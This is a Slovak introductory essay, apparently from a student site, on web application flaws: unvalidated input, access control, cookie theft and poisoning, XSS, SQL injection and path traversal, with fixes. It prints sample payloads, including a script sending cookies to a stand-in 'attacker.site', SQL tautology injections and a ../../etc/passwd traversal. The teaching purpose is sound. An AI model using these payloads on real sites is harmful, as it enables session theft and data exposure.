Úvod do webovskej bezpečnosti
Úvod do webovskej bezpečnosti
Úvod
Web je pravdepodobne najprudkejšie
rozvíjajúca sa oblasť internetu. Niektorí ľudia si dokonca myslia, že web je internet. Súčasný trend je vytvárať webovské rozhrania takmer
pre každú aplikáciu. Človek tak môže cez prehliadač písať poštu, chatovat, môže prispievať do diskusných fór, môže obchodovať.
Práve tu sa končí starý statický web a prichádza nový, dynamický, prostredníctvom scriptovacích technológíí ako php, asp, javascript,
alebo cgi, zložitejších napríklad java, tiež použitím databáz napr. mysql.
Tieto technológie umožňujú tvorbu oveľa
komplikovaňejších interaktívnych webov. S komplexnosťou webu vzrastá jeho zložitosť. So zložitosťou jeho zraniteľnosť. So
zväčšujúcimi sa požiadavkami na web vzrastá aj význam jeho bezpečnosti .
Bežným zneužitím chýb vo webovských appoch,
môže dojsť najmä k znehodnoceniu
obsahu stránky, alebo ukradnutiu súkromných údajov( ukradnutie čísel kreditných kariet, ukradnutie
platených/neplatených účtov ako napr. sms/mms brány, pošta ... ), v istých prípadoch môže dojsť aj k ohrozeniu bezpečnosti serveru. To
samozremje záleží od právomocí takejto aplikácie.
Interpretácií pojmu ‘webovská bezpečnosť’ je niekoľko. V mojej
práci tým chápem
bezpečnosť týkajúcu sa výhradne webovských aplikácií, teda nie webovských serverov, klientov ( prehliadačov )
alebo implementáciu vyššie spomenutých jazykov ( php … )
Zneužitie typických chýb je triviálne, kedy po publikácii chyby
je len otázkou pár sekúnd vytvoriť riešenie na jej zneužitie. Rovnako lokalizácia týchto chýb je oveľa pohodlnejšia ako v iných
oblastiach počítačovej bezpečnosti. Zraniteľné aplikácie sa dajú pohodlne
vyhľadať cez google.
Výskyt
chýb
Výskyt chýb vo webovských aplikáciach je veľmi vysoký. Denne je bežne publikovaných 5-10 chýb v rôznych webovských
aplikáciach. Tento vysoký počet je spôsobený jednoduchosťou ich hľadania a vysokou popularitou, keďže prakticky
s minimálnym úsilím je možné získať celé databázy súkromných informácií.
Hľadanie chýb
Príčinou takmer všetkých známych chýb ( čo sa netýka len web. bezpečnosti ),
je nesprávne skontrolovaný vstup od užívateľa (
unvalidated input ). Teda hľadanie sa najskôr upriamuje na túto časť aplikácie. V prípade open-source aplikácií je možné hľadať priamo
v zdrojovom kóde.
Ďalším cenným zdrojom informácií ( information leak ) je nesprávne implementovaná kontrola chýb, tzn. ak
aplikácia počas behu zaznamená určitú chybu a neošetrí jej zobrazenie, chybové hlásenie sa zobrazí v okne prehliadača a ukáže
potencionálnemu útočníkovi cestu ako prelomiť bezpečnosť.
1. Unvalidated input
Aplikácia sa chová
podľa vstupu. Je naivné prepokladať , že aplikácia dostane vstup, aký očakáva. Preto je treba spraviť najmä kvalitný kód kontroly vstupu.
Pochopiteľne nestačí kontrola na užívateľskej strane ( prostredníctvom javascriptu napríklad ), pretože sa jej užívateľ môže bez
problémov vyhnúť. Účelná je jedine kontrola na strane servera.
Ideálne je tieto dva spôsoby kombinovať a tak rozdeliť záťaž
aplikácie aj na klienta aj na server.
Veľa stránok sa pokúša vyfiltrovať nechcený obsah, čo nie je veľmi chytré riešenie,
jednak preto, že takýto kód je zložitejší, náročnejší na spracovanie a účelovo je na tom často horšie ako kód, ktorý sa nepokúša
nič filtrovať, len určiť či je celý vstup v poriadku.
Podcenenie tohto kroku pri tvorbe aplikácie môže mať za následok
otvorenie dverí pre rôzne ‘injection‘ techniky ,buffer overflowy a veľmi populárne XSS bugy, všetky popísané neskôr v dokumente.
2. Access Control
Stránky veľmi často obsahujú istý ‚user-model’( prístupový model ). To znamená, že
používatelia sú rozdelení podľa ich právomocí, napríklad do skupín, alebo až podskupín.
Ako príklad uvediem web-fórum.
Používatelia sa rozdeľujú na:
- administrátor
- správca fóra
- správca threadu
- užívateľ
Užívateľ napríklad nemôže zmeniť názov témy a rovnako nemôže celý thread odstrániť. Tieto právomoci má len správca threadu,
prípadne fóra, alebo administrátor, ktorý spravidla nieje nijako limitovaný.
Rozdeleniu právomoci je potrebné prispôsobiť
aplikáciu. Neprehľadne napísaný kód je obyčajne zárukov chýb. Nájsť takúto chybu je veľmi jednoduché. Často stačí pár testov priamo
v prehliadači.
Príklad:
- mám konto na stránke ‘page.net‘. Pri registráciu na túto stránku som zadával iste
osobné údaje a teraz ich potrebujem zmeniť. Stránka mi to umožňuje. Zmenu osobných údajov vyvolám takto:
page.net/edit.php?uid=23456
zobrazí sa mi stránka na ktorej môžem priamo meniť svoje údaje.
- z tejto URL
predpokladám, že moje konto je spojené s číslom 23456.
- Skúsim iné číslo a prepokladám že je spojené s iným užívateľom.
page.net/edit.php?uid=23457
Stránka reaguje normálne, bez akéhokoľvek chybového hlásenia o neplatnom prístupe,
tzn. môžem meniť aj údaje iných používateľov.
3. Authentication failure
HTTP je
veľmi jednoduchý protokol. Preto ak stránka, resp. aplikácia poskytuje pripojenie súčasne viacerým klientom je len na nej ako ich rozpozná. Na
tento účel aplikácie používajú tzv. Security tokeny ( to sú session IDs, heslá, session cookies, certifikáty, prípadne aj adresy
klientov ) . Tieto sa používajú buď jednotlivo, alebo v kombinácií, čím pochopiteľne dochádza k zvyšovaniu bezpečnosti.
3.1 Session ID
je náhodne genrované pole znakov. Jeho účelom je najmä vytvorenie jedinečného označenia klienta.
Platí klasické pravidlo kombinatoriky. Čím dlhšie a čím náhodnejšie tým bezpečnejšie tzn. tažšsie na odhadnutie. Pri kritických
aplikáciach sa security token počas jednej sessny môže aj niekoľkokrát zmeniť.
- v prípade že je algoritmus generovania id
odhadnuteľný, je možné id sessny uhádnuť
- je nutné upozorniť prehliadač aby vygenerované ids necachoval. Nebezpečné je to preto
že prehliadač môže použiť iný užívateľ
- Komunikácia by mala prebiehať cez šifrovaný kanál
Príklad:
7HhGuw&342(92ii0
3.2 Heslá
- by mali byť dostatočne dlhé a nelinárne
- uložené by mali
byť v hashovej, alebo inej šifrovanej podobe
- rôzne jednoduché techniky ako získať nové heslo po zabudnutí starého
odpovedaním na otázky typu „Akej farby je obloha?” sú dosť rizikové.
3.3 Cookies
Cookies sú
koláčiky s dátami. Sú ďalšou populárnou metódou identifikácie používateľa.Jednoducho povedané server vytvorí cookie s obsahom, ktorý
mu následne pomôže pri identifikácii klienta. Túto cookie pošle klientovi. Klient cookie odloží na disk a v prípade komunikácie so
serverom, autorom cookie, mu ju pošle späť. Týmto spôsobom server vie s kým komunikuje.
Cookies samotné nepredstavujú
bezpečnostný risk. Bezpečnosť riešenia závisi od implementácie cookies serverom. Prepokladá sa že klient nebude do cookie nijako zasahovať
a že ju naspäť pošle nezmenenú. Cookie je však jednoducho meniť a netreba
nato zabúdať najmä spoliehaním sa na jej obsah !
Cookie si prehliadač ukladá podľa názvu stránky, ktorá mu ju poslala.
Ak teda prehliadač posiela požiadavku na túto stránku,
obsiahne túto cookie v http hlavičke žiadosti.
3.3.1 Cookie theft
- ukradnutie cookie. Ukradnutie
cudzej cookie útočníkom, mu môže poskytnúť dostatok informácií na bezproblémové ukradnutie sessny tzn. útočník, ktorý sa zmocní vašej
session cookie získa na stránke ku ktorej táto cookie patrí rovnaké právomoci ako vy. Znamená to, že čo sa týka platobných aplikácií
napríklad, môže s vašimi peniazmi narábať ako so svojimi.
Príklad: Lucia si chce prečítať email. U svojeho obľúbeného
webmailu
Sa prihlási zadaním svojeho loginu a hesla. Webmail jej naspäť pošle
Cookie, ktorou sa bude Lucia ďalej
identifikovať.
Cookie: name=Lucia id=27AJsndf8GshSJH
Výhodou tohto riešenia je, že Lucka nemusí pri každej
novej požiadavke zadávať login a heslo. Webmail odteraz vie, že klient, ktorý mu pošle túto Cookie je Lucia.
Ak sa tejto Cookie
zmocní aj niekto iný, napríklad tak, že Luciin webmail je zraniteľný na XSS, môže túto Cookie použiť rovnako ako Lucia. Nato aby sa dostal
do jej pošty nepotrebuje ani jej login ani jej heslo.
3.3.2 Cookie poisoning
- je zmena obsahu cookie.
Zmena cookie môže mať pre potencionálneho útočníka
veľký význam najmä keď sa bezpečnostná schéma aplikácie spolieha na jej
nemennosť.
Príklad: Johny sa prihlási na internetový obchod. Obchod mu zašle cookie, ktorá bude slúžiť na jeho ďalšiu
identifikáciu.
Cookie: name=John
Johny veselo nakúpi a predtým ako pošle požiadavku o zaplatení, zmení
identifikačnú cookie.
Cookie: name=Bill
Ak interntový obchod používa na platenie jednoduchú funkciu:
charge(
cislo_kreditky ( $cookie[‘name’] ) );
zaplatí za transakciu v tomto prípade Bill.
- prostredníctvom cookies je možné
rovnako využiť kadejaké injektážne techniky, pretože cookie je de facto len ďalšia forma vstupu.
Rado sa autorizuje na stránku heslom,
certifikátom a ešte aj trebár nejakým druhým heslom. Na oplátku od serveru dostane cookie na jeho ďalšiu identifikáciu.
Cookie: name=rado
Rado chce zobraziť svoje osobné údaje a zaujíma ho práve číslo kreditky.
Ak stránka túto funkciu
implementuje takto:
if( $_COOKIE[‘login’]) {
$cislo = mysql_command( SELECT cislo_kreditky FROM users WHERE login =
$_COOKIE[‘login’] );
echo $cislo ;
je zraniteľná na sql-injection bugy a v prípade, že Rado cookie upraví
Cookie: name= “rado AND ‘a’ = ‘a’”
vyššie uvedený kód zobrazí čísla kreditiek všetkých užívateľov.
Spoliehanie sa na obsah cookie je hlúpe !
3.4 IP adresy
- používať Ip adresy na identifikáciu
užívateľa je v súčastnosti nedostatočné. Technológie ako NAT to robia neuskutočniteľným. NAT( network address translation ) je technlógia
zdielania jednej IP adresy viacerými počítačmi, viacerými užívateľmi. Rovnako možný, aj ked oveľa zriedkavejší, je scenár kedy
užívateľ používa počas jednej session viac ip adries ( týka sa najmä aplikácií kritických na bezpečnosť )
4.
Injection vulnerabilities ( injektážne chybičky )
Injektážne techniky sú
najrozšírenejšie. Sú založené najmä na zvláštnosti
HTML, kde sa dá jeden znak vyjadriť niekoľkými spôsobmi, čo
značne zťažuje
napísanie efektívnej filtrovacej funkcie.
Pokusy o zneužitie
týchto chýb sú hlavne hrami so znakmi, sú to snahy obísť filtračné funkcie.
Týmto spôsobom je
možné meniť obsah webstránky, slobodne manipulovať s databázami dostupnými web. aplikáciám tzn. kradnúť sessny, kradnúť citlivé
informácie ako čísla kreditných kariet, heslá a pod.
4.1 XSS (
cross-site scripting )
Pravdepodobne najznámejšia technika potrestania nevalidovaného vstupu.
Prostredníctvom tejto
techniky je možné priamo meniť web stránku, najčastejšie
vkladaním scriptu, alebo nevyžiadanou reklamou atď.
Ako
príklad poslúži guestbook. Príspevky sú bez kontroly ukladané do databázy, a rovnako bez kontroly sú neskôr vložené do web. stránky.
@pole = mysql_query(“SELECT messages FROM tMessages”);
foreach $p (@pole){
print '<td>';
print
$p;
print '</td>';
}
Absencia kontroly v prípade, že príspevok vyzerá napríklad takto:
„<script> document.go(attacker.site/theft?cookie=document.cookie) </script>”
spôsobí, ukradnutie akýchkoľvek
Cookies nastavených pre túto stránku.
Workaround: filtrovať znaky charakteristické pre html (<, >, &, “ ... )
- v php existuje na tento účel funkcia htmlspecialchars()
- v perle existuje tzv. Taint checking
správny kód by teda
vyzeral:
while(…){
…
print htmlspecialchars($p);
print </td
}
Funkcia htmlspecialchars() nás však
nespasí v každom prípade.
Zoberme si stránku volánu takýmto spôsobom:
/page.php?image=image_name.jpg
a súčasne
jej php kód
echo '<img src="' . htmlspecialchars($_GET['image']) . '” />';
Ak stránku zavoláme takto:
/page.php?image=javascript:alert(document.cookie);
vygeneruje sa
<img src= “javascript:alert(document.cookie);” />
V takomto prípade htmlspecialchars() nestačí a tento kód sa vo viacerých prehliadačoch
úspešne vykoná. Generické riešenie
takéhoto problému neexistuje. Najlepšie je teda VŠETKO filtrovať a ako vstup akceptovať len rozumné znaky.
if (
preg_match('/^[0-9a-z_]+\.[a-z]+$/i', $_GET['image'])) {
echo '<img src="' . $_GET['image'] . '" />;';
}
Toto boli samozrejme ukážky pre deti. Skutočná lokalizácia XSS je očosi náročnejšia, v princípe je to hra znakov.
Zoznam
príkladov, ktoré celkom spoľahlivo určia zraniteľnosť web stránky na takéto chyby sa nachádza na adrese
http://ha.ckers.org/xss.html.
4.2 SQL injection
SQL znamená structured-query-language. Je to
jednoduchý ‘jazyk’ používaný na orientáciu v databázach (mySQL, mSQL, Oracle … ) tzn. prostredníctvom tohto jazyka je možné:
-
pridávať údaje
- meniť údaje
- mazať údaje
- čítať údaje
to všetko na základe jednoduchej
požiadavky ( query ). Princíp SQL-injection je túto požiadavku pozmeniť.
Zoberme si stránku, ktorá sa odkazuje na SQL server
takouto požiadavkou
SELECT info FROM user_table WHERE user=’$logged_user’
Ako klient samozrejme túto syntax
nevidíme ( pokiaľ nemáme priamo zdrojáky k aplikácií ), ale môžeme sa pokúšať ju odhadnúť. Napríklad tak, že do premennej
$logged_user, vložíme asterisk (‘). ( $logged_user = brano’ )
SELECT info FROM user_table WHERE user=’brano’’
Takáto požiadavka obsahuje chybu v syntaxe, čo by malo za následok chybové hlásenie servera. Ak sa chybové hlásenie dostane aj k nám
klientom, vieme si už predstaviť formu takejto požiadavky, tomu prispôsobiť vstup a spraviť niečo produktívnejšie ako len generovať
chyby.
Skúsime $logged_user = brano’ OR ‘x’=’x
Požiadavka vyzerá takto:
SELECT info FROM
user_table WHERE user=‘brano‘ OR ‘x‘=‘x‘
Pôvodnú sme infikovali kódom OR ‘x’ = ‘x’, čo v podstate znamená že
namiesto informácie o jednom užívateľovi sme získali informácie o každom.
To je v skratke SQL-injection. Pomocou tejto techniky
je možné získať často prístup k celým databázam, čo je nebezpečné najmä vtedy ak obsahujú citlivé informácie.
4.3 Path traversal
- je označenie pre typy chýb týkajúce sa aplikácií, ktoré priamo
otvárajú súbory cez parameter, ktorý môže užívateľ modifikovať.
- špeciálne parametre ako ‘..’ umožňujú zmeniť relatívnu
cestu k súboru.
Príklad: stránka vytlačí obsah súboru ... ( napríklad uložený mail )
Stránka:
<a
href=/showfile.pl?subor=A> zobraz subor A </a>
<a href=/showfile.pl?subor=B> zobraz subor B </a>
showfile.pl:
print ”Content-type: text/plain”
If( $GET[‘subor’] ){
pipe = open( $GET[‘subor’] ) &&
while(<pipe>) { print $_; }
}
ak niekto document zavolá týmto napríklad týmto spôsobom :
/showfile.php?subor=../../../etc/passwd
namiesto zobrazenia mailu dojde k zobrazeniu súboru /etc/passwd ( ak je samozrejme táto
cesta k nemu platná )
4. Buffer overflows, format string vulnerabilities, malloc heap
corruption
bugy , ...
Pri týchto chybách ide o pretečenie bufferu, teda o situáciu keď je do bufferu vložených viac dát ako je schopný
pojať. Ak je pretečenie presne vypočítané je vďaka adresovacej schéme možné odkloniť výkon programu na dodaný kód. Tieto druhy chýb sa
vo webovských aplikáciach vyskytujú skutočne len zriedka. Týkajú sa najmä aplikácií programovaných v nižších ‘kompilovaných’
jazykoch ( C, ASM, pascal … ). Keďže na vývoj webov sa najčastejšie používajú interpretované jazyky, ktoré automaticky chránia pred
takýmto druhom chýb, možnosť chyby sa otvára jedine v prípade ak teda aplikácia nieje napísaná v takomto jazyku, alebo sa odvoláva na
zraniteľné programy.
Zo spomenutých chýb sú najnáročnejšie na zneužitie.
Záver
Bezpečnosť
NETREBA podceňovať !
Zones.sk – Zóny pre každého študenta